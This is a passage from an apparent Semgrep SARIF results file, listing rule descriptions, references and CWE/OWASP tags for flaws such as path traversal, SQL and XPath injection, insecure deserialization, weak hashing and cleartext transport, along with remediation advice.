application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.tainted-shelve.tainted-shelve)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.lang.file.tainted-shelve.tainted-shelve","id":"python.lang.file.tainted-shelve.tainted-shelve","name":"python.lang.file.tainted-shelve.tainted-shelve","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.tainted-shelve.tainted-shelve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"help":{"markdown":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","id":"swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","name":"swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath.tainted-xpath)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath.tainted-xpath","id":"java.micronaut.xpath.tainted-xpath.tainted-xpath","name":"java.micronaut.xpath.tainted-xpath.tainted-xpath","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath.tainted-xpath"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","id":"python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","name":"python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request)\n - [https://openjdk.java.net/groups/net/httpclient/intro.html](https://openjdk.java.net/groups/net/httpclient/intro.html)\n","text":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption."},"help":{"markdown":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.alloc-strlen.alloc-strlen)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.alloc-strlen.alloc-strlen","id":"cpp.lang.security.strings.alloc-strlen.alloc-strlen","name":"cpp.lang.security.strings.alloc-strlen.alloc-strlen","properties":{"precision":"very-high","tags":["CWE-131: Incorrect Calculation of Buffer Size","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.alloc-strlen.alloc-strlen"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","id":"python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","name":"python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure"},"help":{"markdown":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8)\n","text":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","id":"python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","name":"python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"help":{"markdown":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli)\n - [https://www.npmjs.com/package/mysql2](https://www.npmjs.com/package/mysql2)\n - [https://www.npmjs.com/package/mysql](https://www.npmjs.com/package/mysql)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","id":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","name":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unencrypted request over HTTP detected."},"help":{"markdown":"Unencrypted request over HTTP detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.react-insecure-request.react-insecure-request)\n - [https://www.npmjs.com/package/axios](https://www.npmjs.com/package/axios)\n","text":"Unencrypted request over HTTP detected."},"helpUri":"https://semgrep.dev/r/typescript.react.security.react-insecure-request.react-insecure-request","id":"typescript.react.security.react-insecure-request.react-insecure-request","name":"typescript.react.security.react-insecure-request.react-insecure-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.react-insecure-request.react-insecure-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open","id":"ruby.lang.security.dangerous-open.dangerous-open","name":"ruby.lang.security.dangerous-open.dangerous-open","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-open.dangerous-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","id":"terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","name":"terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pyyaml.tainted-pyyaml)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","id":"python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","name":"python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pyyaml.tainted-pyyaml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","id":"python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","name":"python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks."},"help":{"markdown":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","id":"java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","name":"java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\""},"help":{"markdown":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\"\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n - [https://nodejs.org/api/tls.html#tls_tls_default_min_version](https://nodejs.org/api/tls.html#tls_tls_default_min_version)\n","text":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\""},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","id":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","name":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source."},"help":{"markdown":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/)\n","text":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","id":"terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","name":"terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating 